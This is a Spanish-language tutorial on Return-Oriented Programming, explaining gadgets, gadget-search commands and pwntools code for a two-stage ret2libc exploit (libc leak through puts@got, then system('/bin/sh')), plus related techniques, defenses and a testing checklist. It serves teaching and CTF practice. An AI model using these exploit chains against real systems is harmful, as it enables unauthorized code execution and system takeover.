Return-Oriented Programming (ROP)
Cuando el stack no es ejecutable (NX/DEP activado), no puedes meter shellcode y saltar a él. La solución es ROP: en vez de inyectar código nuevo, reutilizas trozos de código que ya existen en el binario o en libc. Esos trozos, llamados gadgets, son secuencias cortas que terminan en ret; encadenándolos en el stack construyes la lógica que quieres (poner argumentos en registros, llamar a system, hacer una syscall) sin inyectar una sola instrucción nueva.
La idea
Sección titulada «La idea»# un gadget es una secuencia que acaba en ret, p. ej.:pop rdi ; ret # saca el siguiente valor del stack a RDI, y retorna# al controlar el stack (vía overflow), controlas qué "retornos" encadenas:[ pop rdi; ret ][ "/bin/sh" ][ system ]# efecto: RDI = "/bin/sh", luego llama a system -> shellCada ret salta al siguiente gadget cuya dirección pusiste en el stack. Es “programar” con retornos.
Encontrar gadgets
Sección titulada «Encontrar gadgets»ROPgadget --binary ./vuln # listar todos los gadgetsROPgadget --binary ./vuln | grep "pop rdi"ropper --file ./vuln --search "pop rdi"# en gdb (pwndbg): rop ; ropgadgetLos más buscados (convención de llamada, ver Ensamblador x86-64): pop rdi; ret, pop rsi; ret, pop rdx; ret, ret (para alineación).
ret2libc: llamar a system(“/bin/sh”)
Sección titulada «ret2libc: llamar a system(“/bin/sh”)»El ROP más común: usar funciones de libc (que está enlazada) para lanzar una shell.
from pwn import *e = ELF('./vuln'); libc = ELF('./libc.so.6')# tras un LEAK de libc (bypass ASLR), calculas direcciones:system = libc_base + libc.symbols['system']binsh = libc_base + next(libc.search(b'/bin/sh'))pop_rdi = 0x... # gadget del binariorop = flat( b'A'*offset, pop_rdi, binsh, # RDI = "/bin/sh" ret_align, # alineación de stack (movaps en libc moderna) system # system("/bin/sh"))Necesitas un leak (ASLR)
Sección titulada «Necesitas un leak (ASLR)»Con ASLR, la base de libc cambia cada ejecución. Primero filtras una dirección de libc (p. ej. imprimiendo una entrada de la GOT con puts), calculas la base, y con ella las direcciones de system//bin/sh:
# 1er ROP: leak -> puts(puts@got) para filtrar la dirección real de putsrop1 = flat(b'A'*offset, pop_rdi, e.got['puts'], e.plt['puts'], e.symbols['main'])leak = u64(p.recvline().strip().ljust(8, b'\x00'))libc_base = leak - libc.symbols['puts']# 2º ROP: ya con libc_base, ret2libc a system("/bin/sh")Otras técnicas ROP
Sección titulada «Otras técnicas ROP»ret2syscall encadenar gadgets para hacer una syscall execve("/bin/sh") directamente (poner RAX=59, RDI=binsh, RSI=0, RDX=0 ; syscall)SROP Sigreturn-Oriented: abusar de sigreturn para setear TODOS los registrosret2csu usar el gadget __libc_csu_init para controlar más registrosone_gadget una sola dirección en libc que lanza shell (si se cumplen condiciones)stack pivoting mover RSP a memoria controlada cuando el overflow es pequeñoHerramientas
Sección titulada «Herramientas»pwntools ROP() construir cadenas ROP automáticamente: rop.call('system', [binsh])ROPgadget / ropper buscar gadgetsone_gadget libc.so.6 encontrar el gadget mágicoropemporium.com el sitio de referencia para practicar ROP paso a pasoPara la defensa
Sección titulada «Para la defensa»- CFI (Control-Flow Integrity) y shadow stacks (Intel CET): dificultan encadenar gadgets/retornos arbitrarios.
- ASLR + PIE fuertes: sin leak, no hay ROP fiable; evitar leaks (no imprimir punteros).
- Full RELRO (GOT de solo lectura) cierra la sobrescritura de GOT; stack canaries.
- Reducir gadgets útiles (compilación, -fcf-protection); lenguajes seguros en memoria.
Checklist de prueba
Sección titulada «Checklist de prueba»- Confirmar NX (checksec) → ROP necesario
- Control de RIP vía overflow (offset conocido)
- Buscar gadgets (ROPgadget/ropper): pop rdi/rsi/rdx
- Leak de libc (bypass ASLR) y cálculo de base
- ret2libc: system(“/bin/sh”) o ret2syscall execve
- Alineación de stack (ret extra) en libc moderna
- one_gadget / SROP / ret2csu si encaja
- Shell/flag en local → remoto